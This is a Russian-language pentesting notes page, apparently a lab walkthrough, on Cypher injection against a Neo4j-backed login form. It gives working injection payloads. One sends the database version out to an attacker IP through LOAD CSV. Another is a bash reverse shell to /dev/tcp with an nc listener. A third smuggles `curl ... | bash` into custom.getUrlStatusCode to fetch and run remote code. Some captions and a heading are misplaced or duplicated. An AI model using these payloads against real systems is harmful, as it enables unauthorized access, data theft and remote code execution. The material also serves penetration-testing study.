> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md).
# Инъекция Cypher Neo4j
## Инъекция Neo4j Cypher
Форма входа уязвима. Ошибка появляется, когда мы вводим `'`.
Мы внедрили Cypher-пейлоад, чтобы получить версию Neo4j:
{% code overflow="wrap" %}
```json
{
"username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS versiwe LOAD CSV FROM 'http://10.10.14.90/?v=' + versiwe AS l RETURN 0 AS _0 //",
"password": "test"
}
```
{% endcode %}
На нашем сервере запрос принимается:
```bash
python3 -m http.server 80
# Инъекция Neo4j Cypher
```
### RCE через вызов `custom.getUrlStatusCode()`
Мы помещаем обратную оболочку в `index.html`:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```
Мы помещаем обратную оболочку в `index.html`:
```bash
nc -nlvp 443
```
Используйте объединённую инъекцию, чтобы вызвать это **custom.getUrlStatusCode**
```bash
{
"username": "admin' return h.value AS value UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value RETURN value ; //",
"password": "test"
}
```
---
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